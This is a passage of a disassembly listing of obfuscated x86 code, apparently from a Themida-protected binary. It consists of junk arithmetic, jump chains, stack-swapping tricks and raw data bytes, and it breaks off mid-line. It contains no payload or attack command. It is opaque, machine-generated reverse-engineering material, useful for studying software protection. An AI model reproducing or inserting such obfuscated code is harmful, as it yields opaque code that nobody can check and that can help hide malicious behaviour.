--------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_565406 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 4AD2F700h, 1DB7B951h, 0E95535FFh, 0FFFFE15Fh ; --------------------------------------------------------------------------- loc_567060: ; CODE XREF: Themida_:0056CDDBj shr eax, 4 jmp loc_570B57 ; --------------------------------------------------------------------------- dd 0E9C5315Dh, 0FFFFC7F8h, 0E1462DBEh, 5EF7290Dh, 0DFE9FA01h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56707F: ; CODE XREF: Themida_:0056DE45j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sub ebx, 528A23D9h sub ebx, eax push ebp mov ebp, 630E749Eh sub ebp, 23850F18h sub ebp, 291360ECh jmp loc_56C979 ; --------------------------------------------------------------------------- dd 5A545258h, 4C281h, 0D5E90000h, 890000B1h, 0F8BFE9E7h dd 0C87FFFFh, 24248B24h, 0FF3BEE81h, 0E1E9F76Eh, 81FFFFF6h dd 4C190DE9h, 81E90118h, 4C190DC1h, 2DE95D18h, 81000010h dd 0EF10A9EEh, 253FE961h, 68570000h, 41B47BE1h, 8EFC15Fh dd 4B87C781h, 0E9FFBEh, 33FFFFC3h, 0E95C243Ch, 6326h, 0A21933B9h dd 0E9C1414Dh, 0F1C3E907h, 8853FFFFh, 5BFC88EFh, 81240C8Bh dd 4C4h, 0CEAAE900h, 1C890000h, 0E69E924h, 59580000h, 99E3E9h db 0 ; --------------------------------------------------------------------------- loc_56713D: ; CODE XREF: Themida_:0056E4E5j pop esp jmp loc_56C9CA ; --------------------------------------------------------------------------- db 68h dd 15364C0Fh, 1FF6815Eh, 89011C35h, 0F1815EF1h, 1DE0B70Ch dd 0C009E9h db 0 ; --------------------------------------------------------------------------- loc_56715D: ; CODE XREF: Themida_:00570EACj mov bh, 92h jmp loc_56BF38 ; --------------------------------------------------------------------------- loc_567164: ; CODE XREF: Themida_:005707CBj sub dword ptr [esp+8], 3BC924DCh sub [esp+8], edi add dword ptr [esp+8], 3BC924DCh mov edi, [esp] add esp, 4 jmp loc_56F04D ; --------------------------------------------------------------------------- loc_567183: ; CODE XREF: Themida_:005638CAj sub ebx, ecx pop ecx sub ebx, 0B41C1C5Dh mov edx, ebx jmp loc_568C02 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9516600h, 74A9h ; --------------------------------------------------------------------------- loc_5671A0: ; CODE XREF: Themida_:005769DBj push edi mov edi, esp jmp loc_567CE9 ; --------------------------------------------------------------------------- loc_5671A8: ; CODE XREF: Themida_:00562209j mov edx, 34B65176h xor ebx, edx jmp loc_568E24 ; --------------------------------------------------------------------------- dd 1B93C381h, 6BE904A8h, 5C00001Ch, 0B965E9h, 9C516600h dd 0FF9E75E9h, 50C328FFh, 0C300C7B0h, 0A500E958h, 8680000h dd 0E9000039h, 0FFFFA216h, 9D1C77FFh, 1CD35966h, 4FE99C24h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5671F3: ; CODE XREF: Themida_:0057334Fj xor edi, 3E696F86h xor ebp, edi jmp loc_56AD3A ; --------------------------------------------------------------------------- aQZsi db 'Q±‡é‰×',0 align 4 dd 5AEEE980h, 0C8007704h, 2877B151h, 34FF59C8h, 240C8B24h dd 0D3DFE9h, 4C48300h, 8B8BE9h db 0 ; --------------------------------------------------------------------------- loc_567229: ; CODE XREF: Themida_:0056B1DFj mov eax, 0 add eax, ebx xor dword ptr [eax], 0F813D115h pop eax pop ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 push ebp jmp loc_568386 ; --------------------------------------------------------------------------- loc_567261: ; CODE XREF: Themida_:00574B9Fj xchg edi, [esp] jmp loc_5677E3 ; --------------------------------------------------------------------------- loc_567269: ; CODE XREF: Themida_:00576948j xor [esp], edi push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push esp pop ecx push edi push 1C524D13h pop edi not edi neg edi jmp loc_567B91 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 9F9Eh, 5DE9C889h, 51000063h, 0C181E189h dd 4, 4BE56h, 0F1290000h, 240C875Eh, 8924248Bh, 5FE92414h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5672C3: ; CODE XREF: Themida_:00562663j add ebx, 4 xchg ebx, [esp] mov esp, [esp] push esi mov esi, esp push ebp mov ebp, 4 add esi, ebp jmp loc_57481C ; --------------------------------------------------------------------------- aSK db '\é/Š',0 align 2 loc_5672E2: ; CODE XREF: Themida_:00567001j sub dword ptr [esp+4], 462C71B5h mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 add eax, 4 push eax jmp loc_56E767 ; --------------------------------------------------------------------------- dd 1D05D001h, 5A7BEC0Fh, 42Dh, 24048700h, 6A3F685Ch, 24890000h dd 24048324h, 24048F04h, 4B850h, 0B3E90000h, 83FFFFDFh dd 48904ECh, 26824h, 5BE90000h, 5F000052h, 0FFBD69E9h dd 240487FFh, 0ED81585Ch, 5EF9283Eh, 0C581FD01h, 5EF9283Eh dd 81243C8Bh, 4C4h, 0F81DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567376: ; CODE XREF: Themida_:0056B707j mov [esp], ecx push esi jmp loc_570539 ; --------------------------------------------------------------------------- db 81h dd 0B1ABBEEEh, 8BF0017Ah, 0C4812434h, 4, 13EFC181h, 22E94432h dd 5700009Fh, 4BFh, 5FFA0100h, 0FFB7CDE9h, 40FD05FFh, 895517FDh dd 8BEF89C5h, 0C481242Ch, 4, 5624048Bh, 0C681E689h, 4 dd 8704C683h, 0DDE92434h, 680000CFh, 45DFh, 0FF9EF5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5673DD: ; CODE XREF: Themida_:00569751j sub edx, 0EE2D1523h jmp loc_56FF49 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 4C781h, 0FEE90000h db 0EAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5673FB: ; CODE XREF: Themida_:0056558Aj push 1EA4h mov [esp], ebp pop esi pop ebp jmp loc_5731C7 ; --------------------------------------------------------------------------- loc_56740A: ; CODE XREF: Themida_:0056F593j push ecx jmp loc_569952 ; --------------------------------------------------------------------------- loc_567410: ; CODE XREF: Themida_:00566CDAj push ebp jmp loc_5669CD ; --------------------------------------------------------------------------- dw 565Fh dd 199CB951h, 98BE2DC9h, 312DC919h, 0F50159CEh, 242C335Eh dd 33242C31h, 248B242Ch, 44C16824h, 3C890000h, 68E78924h dd 7B52h, 5E5DE9h, 49E95F00h db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56744F: ; CODE XREF: Themida_:0056CB08j add esi, 4 sub esi, 4 jmp loc_5705FE ; --------------------------------------------------------------------------- dd 0E400322Dh, 240C8B49h, 81E28952h, 4C2h, 4C28300h, 8B241487h dd 68572424h, 1275h, 0FFF892E9h, 59CE00FFh, 34FFF000h dd 0C4835A24h, 665B6604h, 66400E68h, 0B7241C89h, 0F6CF805Dh dd 0EFD0CFFEh, 0FFB6A0E9h, 5A66FFh, 241C8BD9h, 4C481h dd 0CB280000h, 6B685966h, 89000058h, 0BBE92404h, 1000084h dd 555B5EF1h, 4EC81h, 34890000h, 4ADDBE24h, 0D9BD626Dh dd 0E9626D4Ah, 0FFFFC171h, 927985BAh, 6E2C148h, 2B19BF57h dd 0EF816281h, 3A631E72h, 535FFA29h, 94756ABBh, 88C38149h dd 81166079h, 0D40361F3h, 23F3815Bh, 500F7A5Bh, 0A64B7BB8h dd 691C0567h, 0BFE96052h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567523: ; CODE XREF: Themida_:0056F465j pop ebx pop dword ptr [esp] jmp loc_56D94F ; --------------------------------------------------------------------------- dd 54241C89h, 65E6685Bh, 4890000h, 4B824h, 0C3010000h dd 2C38358h, 6B17E953h, 0FF5D0000h, 0E95F2434h, 0CFA3h dd 391D68h, 0B44AE900h, 34890000h, 1DBA5224h, 0E95A9B15h dd 8474h, 4C281h, 0B8500000h, 4, 3358C201h, 14312414h dd 24143324h, 468665Ch, 1489667Ch, 5B624h, 0E993E9F0h dd 0B259FFFFh, 8BE23090h, 0C4812404h, 4, 0F6FFC280h, 74B551D2h dd 80A9F580h, 96E9CDF5h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5675B7: ; CODE XREF: Themida_:00562C4Dj mov edi, 763E419Fh neg edi sub edi, 0BC6DE210h mov ecx, edi mov edi, [esp] add esp, 4 sub ecx, 6A865457h jmp loc_5739C9 ; --------------------------------------------------------------------------- db 31h dd 4332404h, 24248B24h, 24148966h, 586FE9h, 0EDE98000h dd 23C2E9h, 4685100h, 0E9000000h, 0D8D2h, 2E98159h, 31AE808Fh dd 0E95559CBh, 0D1Ah ; --------------------------------------------------------------------------- loc_56760C: ; CODE XREF: Themida_:0057049Dj mov edi, 4 add ebx, edi pop edi jmp loc_56D310 ; --------------------------------------------------------------------------- aYa db 'Y€Ã»',0 aUaiXsc db 'ã€ë»Xé— ',0 align 4 dd 0E904C583h, 773Ah, 0DA0BE953h, 0F731FFFFh, 0F731FE31h dd 240CFF56h, 0FFD740E9h, 0F0305BFFh, 5A2434FFh, 92B6E9h dd 242C8700h, 8EBE565Ch, 812A373Ch, 0D54BE6CEh, 514E4676h dd 0F77FEAB9h, 0BB77E97Eh, 248B0000h, 1BA5224h, 1000000h dd 0B82AE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56767E: ; CODE XREF: Themida_:0056D39Cj mov [esp], edx jmp loc_570F13 ; --------------------------------------------------------------------------- dw 0D001h dd 1A09685Ah, 0CBE90000h, 0F7FFFFFEh, 88BBE9DDh, 0B5510000h dd 30EFB48Dh, 0FE959ECh db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5676A7: ; CODE XREF: Themida_:0056F778j shr ecx, 2 push 225Ah mov [esp], ebx jmp loc_5676F0 ; --------------------------------------------------------------------------- loc_5676B7: ; CODE XREF: Themida_:0056EAD0j xor esi, 0FFF7FEBh push ebx jmp loc_5751C8 ; --------------------------------------------------------------------------- loc_5676C3: ; CODE XREF: Themida_:0057698Dj mov ebx, [esp] add esp, 4 loc_5676CC: ; CODE XREF: Themida_:0056113Dj sub esp, 4 mov [esp], ebx push dword ptr [esp] pop eax push edx push esp jmp loc_571E07 ; --------------------------------------------------------------------------- aIYxwsnp db '‰ËYXWéN¯',0 dw 2C00h dd 0E9C10471h, 6A7Ah ; --------------------------------------------------------------------------- loc_5676F0: ; CODE XREF: Themida_:005676B2j push 6CB1h mov [esp], ecx jmp loc_563F36 ; --------------------------------------------------------------------------- db 29h, 0F9h, 5Fh dd 83B1E9h db 0 ; --------------------------------------------------------------------------- loc_567705: ; CODE XREF: Themida_:0056ED25j xor edi, ebp pop ebp push eax mov eax, 1D116D44h xor edi, eax pop eax shl edi, 4 shl edi, 1 neg edi push ecx mov ecx, 694E6343h dec ecx or ecx, 4DF31298h and ecx, 15B4071Ch sub ecx, 0AC7DB76Bh xor edi, ecx jmp loc_56E9D4 ; --------------------------------------------------------------------------- loc_567738: ; CODE XREF: Themida_:00563247j sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_57464E ; --------------------------------------------------------------------------- loc_56774C: ; CODE XREF: Themida_:005692A6j sub edi, 7A9C2D94h pop edx and edi, 70918F2h inc edi dec edi push edx mov edx, 4000856h xor edi, edx pop edx mov ebp, edi pop edi add esi, 54C23152h add esi, ebp sub esi, 54C23152h push dword ptr [esp] mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_56E910 ; --------------------------------------------------------------------------- loc_567789: ; CODE XREF: Themida_:00575D0Bj mov [esp], edx mov edx, 1Ch sub edx, 8CF4E9Bh jmp loc_5703FD ; --------------------------------------------------------------------------- dd 6A410BBFh, 93F7811Ah, 816A4A09h, 0C23D3FC7h, 3CD2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5677B2: ; CODE XREF: Themida_:0056E6EEj push esi mov esi, 773B32F9h add esi, 9DABD39Dh add ebx, esi pop esi jmp loc_5765FE ; --------------------------------------------------------------------------- dw 0DA01h dd 0FFDFD3E9h, 6E9C1FFh, 0FFA4BEE9h, 5E5A56FFh, 3EDFC281h dd 47E92C8Eh db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5677E3: ; CODE XREF: Themida_:00567264j pop esp mov [esp], ecx push ebx mov ebx, offset byte_511491 push edx push esi mov esi, 5FA6080Ch mov edx, esi jmp loc_569750 ; --------------------------------------------------------------------------- loc_5677FB: ; CODE XREF: Themida_:00563E38j push 2BD5h mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_56C24C ; --------------------------------------------------------------------------- db 31h, 0F8h, 5Fh dd 53E1C381h, 0EB8159A1h, 3C370214h, 0F21EB81h, 0C32979E6h dd 0F21C381h, 0C38179E6h, 3C370214h, 0BCBFE9h db 0 ; --------------------------------------------------------------------------- loc_567841: ; CODE XREF: Themida_:00575917j add edi, 863C1469h push edx mov edx, edi mov ebp, edx pop edx push dword ptr [esp] jmp loc_57346F ; --------------------------------------------------------------------------- db 0BFh, 27h, 51h dd 4CE974FCh db 0F2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56785F: ; CODE XREF: Themida_:0056C868j sub eax, 3DB698Fh mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push edx push ebx mov ebx, 17AD044Dh jmp loc_5704C8 ; --------------------------------------------------------------------------- db 56h, 0FFh, 4 dd 0C6815E24h, 31C019F7h, 0C681DEF7h, 6A7A673Ah, 8483E9h db 0 ; --------------------------------------------------------------------------- loc_567899: ; CODE XREF: Themida_:005710B5j add edx, ecx pop ecx push edi mov edi, 4 sub edx, 5AE25359h sub edx, edi add edx, 5AE25359h jmp loc_56B022 ; --------------------------------------------------------------------------- db 68h, 0C8h, 9 dd 895A4767h, 2434FFD0h, 0FFDA47E9h, 5FCB81FFh, 0E928AB0Ch dd 0FFFFEFDFh, 9514B951h, 32051639h, 0E949E400h, 2E49h dd 42474FFh, 582434FFh, 4EC81h, 2C890000h, 0E6895624h dd 4C681h, 0EE830000h, 0DA06E904h, 0BB530000h, 4, 79E9D801h dd 8100006Bh, 4C6h, 74FF5600h, 8F5E0424h, 0E95C2404h, 530Fh dd 0FF2434FFh, 6DE92434h db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56792F: ; CODE XREF: Themida_:00575B9Aj pop ebp xor ebp, esi jmp loc_571767 ; --------------------------------------------------------------------------- loc_567937: ; CODE XREF: Themida_:0056C138j mov ebp, ecx pop ecx jmp loc_568171 ; --------------------------------------------------------------------------- db 4 dd 241C8B21h, 5304C483h, 0E780DDB7h, 0F6EF86F5h, 0F3D6E9D5h dd 815FFFFFh, 4C5h, 0FCEFE900h, 1C87FFFFh, 89665C24h, 0D3E92404h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56796F: ; CODE XREF: Themida_:00564804j add eax, edx pop edx add esi, eax pop eax add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_568234 ; --------------------------------------------------------------------------- loc_567983: ; CODE XREF: Themida_:00572C7Ej and esi, eax pop eax xor esi, 3F557C19h push ecx mov ecx, 3DE84A92h add ecx, 1A1512C3h sub esi, ecx mov ecx, [esp] push ecx jmp loc_564B01 ; --------------------------------------------------------------------------- db 88h dd 241C8BFEh, 4C481h, 47E90000h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5679B3: ; CODE XREF: Themida_:0057023Cj mov edx, esi pop esi xor edx, esi pop esi add edx, 63511436h jmp loc_568A64 ; --------------------------------------------------------------------------- loc_5679C4: ; CODE XREF: Themida_:005719BCj mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx push 6B35h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_57469E ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 42D00h, 33E90000h, 1FFFFB3h, 0EB835EF3h, 74FF5304h dd 8F5B0424h, 895C2404h, 0B450241Ch, 2B31E912h, 0C3010000h dd 6C38158h, 0E9F86A70h, 0FFFFA487h, 665BFA88h, 83240C8Bh dd 536602C4h, 31BB68h, 24048900h, 52D38853h, 0F488DE88h dd 8324148Bh, 0D2E904C4h, 8F00000Eh, 685C2404h, 6C0Ah dd 54243489h, 53C2E95Eh, 0DD280000h, 0D9C5805Bh, 8059EB88h dd 0F380BAEBh, 0D53DE941h, 0BF570000h, 8AA2CBEh, 0C524EF81h dd 0FA01B0EFh, 0B08FE9h, 1C895C00h, 81E38924h, 4C3h, 5A545200h dd 0A380E953h, 0E289FFFFh, 775068h, 242C8900h, 75AAE9h dd 0E9515C00h, 0AE50h ; --------------------------------------------------------------------------- loc_567AC0: ; CODE XREF: Themida_:005624FBj mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_575005 ; --------------------------------------------------------------------------- aYUxsH db 'Y ãXé;H',0 dw 5400h dd 8124048Fh, 42404h, 348B0000h, 4C48324h, 46FDBF57h, 0EF810B5Ch dd 0B5C46F9h, 0CFE9FE01h, 0F70000E7h, 2DE8D1D8h, 7EFC3B34h dd 1DE9C101h, 0F70000EFh, 38E781DFh, 81712811h, 215013CFh dd 0EF814F03h, 0ECFFAE4h, 595FFA01h, 4265E9h, 240C3100h dd 8B240C33h, 0A9682424h, 89000046h, 32E92404h db 0CAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_567B4B: ; CODE XREF: Themida_:00571C5Bj push esi push ebp push esi push 5A532730h jmp loc_5720AD ; --------------------------------------------------------------------------- dd 592434FFh, 0A51BE955h, 5059FFFFh, 0A3D3E9h, 14F75700h dd 243C8B24h, 0E8F8E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B76: ; CODE XREF: Themida_:005728B4j mov [esp], ebp mov ebp, 64BC0E8Ch push 6DDCh mov [esp], ebp xor [esp], edx xor edx, [esp] jmp loc_5623D7 ; --------------------------------------------------------------------------- loc_567B91: ; CODE XREF: Themida_:0056728Ej push ebp jmp loc_56C59E ; --------------------------------------------------------------------------- db 0B8h dd 62230F2Eh, 66F91F05h, 0FFC101AFh, 7AE92434h, 290000CDh dd 0E2C281EAh, 5D77EC52h, 26FFE9h db 0 ; --------------------------------------------------------------------------- loc_567BB9: ; CODE XREF: Themida_:00573B1Bj pop ebx push esi xor dword ptr [esp], 7E2F0F50h pop edx xor edx, 7E2F0F50h jmp loc_57588C ; --------------------------------------------------------------------------- aZaLsxo db '(ÓZ€ÃLéåO',0 db 0 ; --------------------------------------------------------------------------- loc_567BD9: ; CODE XREF: Themida_:00573743j mov edx, 27B728E1h neg edx shr edx, 7 jmp loc_5685DF ; --------------------------------------------------------------------------- dd 3B7AF781h, 814715E9h, 2B510AF7h, 5FF93105h, 8759CA01h dd 0F9E92414h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_567C03: ; CODE XREF: Themida_:00570C86j push 629C4B16h jmp loc_567F57 ; --------------------------------------------------------------------------- loc_567C0D: ; CODE XREF: Themida_:0056EC52j xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_576746 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 24348700h, 26C9685Ch, 70E90000h, 0BFFFFFBCh, 1C305EC7h dd 8ED868B9h, 8BF92924h, 0C481243Ch, 4, 0C158C131h, 0E18104E9h dd 0C704D0Fh, 1F5668h, 24348900h, 760A67BEh, 0C8B95107h dd 811C6B0Dh, 4C2FB1E9h, 8149415Ch, 37D817E9h, 59CE3156h dd 0C15EF109h, 0BD5505E9h, 0FC8B7799h, 543C181h, 5FE936CDh dd 2D0000D1h, 4, 0E9240433h, 0A79Eh, 6858C321h, 503Eh dd 0E9240C89h, 0FFFFEAE1h ; --------------------------------------------------------------------------- loc_567CA8: ; CODE XREF: Themida_:005643FBj pop dword ptr [esp] pop esp mov [esp], esi jmp loc_56AE88 ; --------------------------------------------------------------------------- dd 0F07267BBh, 0FEEB8135h, 813ED92Ch, 492FCCCBh, 6AF3811Bh dd 0F77BD743h, 0A3E381DBh, 813D8517h, 0CD63F5F3h, 5BD92907h dd 0C181D9F7h, 0CF8DB980h, 0FFE6B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_567CE9: ; CODE XREF: Themida_:005671A3j add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ecx, 66CD6CCFh jmp loc_57452F ; --------------------------------------------------------------------------- dd 5FF9895Bh, 3D40BD55h, 45454EA4h, 8307EDC1h, 0F58101C5h dd 3D27156Ch, 25E9E901h, 1FFFFE7h, 348758C6h, 0D6F65C24h dd 0EE80D6F6h, 0B35366FFh, 0E9DE006Bh, 0B29Dh, 0C181E189h dd 4, 0CCAAE9h, 0F1815900h, 5EE91E4Ah, 7DEBE9h, 242C8900h dd 0C581E589h, 4, 4BA52h, 0ED810000h, 0C321D9Dh, 0BB53D501h dd 0C321D9Dh, 30E9DD01h, 830000D7h, 0C8904ECh, 0A6BA5224h dd 0B91E2839h, 50F202D9h, 0E95AD131h, 0FFFFC696h, 582434FFh dd 5E08950h, 4, 7B8AE9h, 24143100h, 8B241433h, 0FE682424h dd 8900004Bh, 0E9E92404h, 5C000002h, 83DEE9h, 5CE95200h dd 5C00002Fh, 89243489h, 7D2A68E6h, 14890000h, 4F5AE924h dd 0D1F70000h, 5B240C87h, 814BEBD1h, 0F94DBDC3h, 90F3813Fh dd 55840DC2h, 9CA8E9h db 0 ; --------------------------------------------------------------------------- loc_567DF5: ; CODE XREF: Themida_:00575B8Fj add edi, 5BCE4073h dec edi sub edi, 0FFFFFFFFh or edi, 5207144Ah and edi, 59AF151Fh xor edi, 10E277C4h add ecx, edi pop edi add ecx, esi sub ecx, 48E562CEh pop esi push ebx jmp loc_5686CA ; --------------------------------------------------------------------------- dw 295Eh dd 0F72959CEh, 26C7815Eh, 0E96F7515h, 0FFFFDFD5h ; --------------------------------------------------------------------------- loc_567E38: ; CODE XREF: Themida_:00570C12j mov ebx, 1AE72088h add esi, ebx pop ebx add esi, 0E9865617h add edi, esi pop esi xchg edi, [esp] pop esp push dword ptr [esp] pop edi jmp loc_56602C ; --------------------------------------------------------------------------- dw 0C89h dd 7FF3B924h, 0A9E9691Dh, 53FFFFBBh, 42474FFh, 24048F5Bh dd 6824248Bh, 0EB7h, 0AEE9E9h, 0EE95D00h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_567E7F: ; CODE XREF: Themida_:00569DF5j push ebx mov ebx, 74200933h jmp loc_562A84 ; --------------------------------------------------------------------------- dw 6850h dd 0C572CADh, 6C322D58h, 0E3350F33h, 0F747056Ah, 2658E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567EA2: ; CODE XREF: Themida_:0057637Cj pop ebx jmp loc_56E9AD ; --------------------------------------------------------------------------- loc_567EA8: ; CODE XREF: Themida_:0056E9AEj mov eax, 6EAB7FDBh sub ecx, eax pop eax push edi jmp loc_563B33 ; --------------------------------------------------------------------------- dw 0BB66h dd 7EE91AE3h, 81FFFFE7h, 4C6h, 4C68300h, 5C243487h, 660AC181h dd 0D9015CE6h, 660AE981h, 0D8E95CE6h, 89FFFFA3h, 4B82404h dd 81000000h, 0D4ED0EFh, 0E9C72947h, 93DCh, 0C281E289h dd 4, 8704C283h, 875C2414h, 45FD87D7h, 7C3FB951h, 0CD317B4Eh dd 5AE58159h, 5104DC0Fh, 0BA4F08B9h, 0ECE98124h, 0E9EB65ECh dd 0FFFFB1F0h, 8304C483h, 3C8904ECh, 68525524h, 4767126Ah dd 1EA815Ah, 81000000h, 0F057ABF2h, 5AD58929h, 534EBD55h dd 6C296DE7h, 0BEE90824h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_567F57: ; CODE XREF: Themida_:00567C08j mov ebp, [esp] add esp, 4 push edi push edx push 1A39762Ch pop edx mov edi, edx pop edx push 3287h jmp loc_56F4D4 ; --------------------------------------------------------------------------- dd offset dword_56D168 align 2 dw 0C89h dd 4EAEB924h, 0CB2124A6h, 0F6C38159h, 0E9FB7DB3h, 7299h dd 6BE95452h, 8BFFFFBCh, 0E5E92414h, 0FF0000ADh, 5B042474h dd 8B24048Fh, 0C00B2424h, 2FE2840Fh, 50680000h, 89000025h dd 8953242Ch, 0B072E9E3h, 8B66FFFFh, 0EC83240Ch, 24348904h dd 24348B54h, 3321E9h, 66EF8100h, 10D206Ah, 66C781C7h dd 580D206Ah, 4C781h, 3C870000h, 5668E924h, 0E7890000h dd 4C781h, 32E90000h, 0FF000066h, 669D1C77h, 2414D259h dd 9034E99Ch, 0C381FFFFh, 4, 5C241C87h, 4B850h, 0BFE90000h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_568023: ; CODE XREF: Themida_:00562A60j pop esp jmp loc_563F57 ; --------------------------------------------------------------------------- loc_568029: ; CODE XREF: Themida_:00566BF6j mov [esp], ebp push edx push 4 pop edx mov ebp, edx mov edx, [esp] add esp, 4 add ebx, ebp mov ebp, [esp] jmp loc_570C52 ; --------------------------------------------------------------------------- dd 575E5856h, 0FFFBDEE9h, 8BC830FFh, 5457240Ch, 4C7815Fh dd 81000000h, 4C7h, 243C8700h, 3568665Ch, 0C896658h, 0E9E3B524h dd 54E4h, 0EC83E589h, 24148904h, 7939E9h db 0 ; --------------------------------------------------------------------------- loc_568085: ; CODE XREF: Themida_:0056DFE8j mov [esp], ebx mov bl, cl mov dh, bl jmp loc_57128A ; --------------------------------------------------------------------------- db 81h, 0C1h, 0BBh dd 0E9116D43h, 1095h, 0E9241C8Bh, 8A8Eh, 0FF8F99E9h, 51F701FFh dd 0FB3D30B9h, 59CF014Ch, 5624348Bh, 0C681E689h, 4, 8704C683h dd 31E92434h, 0FFFFFFDFh, 8F70E930h, 0C481FFFFh, 4, 0E904EC83h dd 0A335h, 0E95EF031h, 9438h, 4EC81h, 18E90000h, 810000B4h dd 4C6h, 3AC0E900h, 34FF0000h, 0D4E95E24h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_568107: ; CODE XREF: Themida_:00565DB8j inc dh mov ah, dh jmp loc_566330 ; --------------------------------------------------------------------------- dd 2474FF51h, 48F5904h, 0D3E95C24h, 81FFFFC5h, 4F6309F3h dd 0DE895630h, 5B5EF089h, 0ECE68h, 24148900h, 0FFC4B0E9h db 0FFh ; --------------------------------------------------------------------------- loc_568139: ; CODE XREF: Themida_:00565CC4j push ecx jmp loc_5637F5 ; --------------------------------------------------------------------------- loc_56813F: ; CODE XREF: Themida_:00572812j push 416Bh push esp pop dword ptr [esp] push eax jmp loc_569065 ; --------------------------------------------------------------------------- dw 483h dd 685A0424h, 171Eh, 0BF243C89h, 722A10F5h, 6FBB5352h dd 0BA1BBA43h, 3908DBEEh, 613E9h db 0 ; --------------------------------------------------------------------------- loc_568171: ; CODE XREF: Themida_:0056793Aj sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edi sub esp, 4 mov [esp], esi mov esi, 65A84139h jmp loc_5742F5 ; --------------------------------------------------------------------------- dw 0C31h dd 240C3324h, 6624248Bh, 9C240431h, 0FF8E91E9h, 0E68956FFh dd 0FFBE58E9h, 7FE95CFFh db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5681BF: ; CODE XREF: Themida_:00568AFAj push dword ptr [esp] pop eax add esp, 4 jmp loc_56A0B1 ; --------------------------------------------------------------------------- dw 1489h db '$h&',0Dh,0 align 2 dw 3489h dd 4747BE24h, 67E90664h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5681E3: ; CODE XREF: Themida_:00564004j xchg eax, ecx neg ecx xchg eax, ecx xor eax, 136A6CE6h xor eax, 1B246D92h push ebp mov ebp, 9CEAED16h sub eax, ebp pop ebp push edi mov edi, 73955558h shr edi, 8 neg edi dec edi jmp loc_56250A ; --------------------------------------------------------------------------- db 66h dd 9C241CF7h, 0FF8E2DE9h, 2BCB81FFh, 0F74B8F1Eh, 3FCB81DBh dd 0F762145Ah, 0F4BA52DBh, 316F6047h, 0E9575AD3h, 9C75h ; --------------------------------------------------------------------------- loc_568234: ; CODE XREF: Themida_:0056797Ej xor esi, [esp] mov esp, [esp] jmp loc_56C0C4 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 13C6804h, 4890000h, 0DA12E924h, 6852FFFFh dd 856h, 50241C89h, 9EE2E9h, 0F6EB8000h, 0C380F328h, 0B60F5AF6h dd 8734FFC0h, 0FFB86EE9h, 240C89FFh, 0C1815954h, 4, 3304E983h dd 0C31240Ch, 240C3324h, 0FFEC37E9h, 0DCCD81FFh, 8151D602h dd 0C80E10EDh, 46C58150h, 316FCCBAh, 0E9415DE9h, 2B86h dd 81525D54h, 4ECh, 1E2DE900h, 0CB010000h, 2507B850h, 0C3290164h dd 0CFAE9h, 24048900h, 0FEB8h, 1C472100h, 958DE9h, 3651BD00h dd 0EA29BC98h, 3EAC15Dh, 5084B951h, 1FE94D45h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5682EF: ; CODE XREF: Themida_:00570093j pop dword ptr [esp] mov esp, [esp] push edi sub esp, 4 jmp loc_56323C ; --------------------------------------------------------------------------- db 0BAh, 8Fh, 0EEh dd 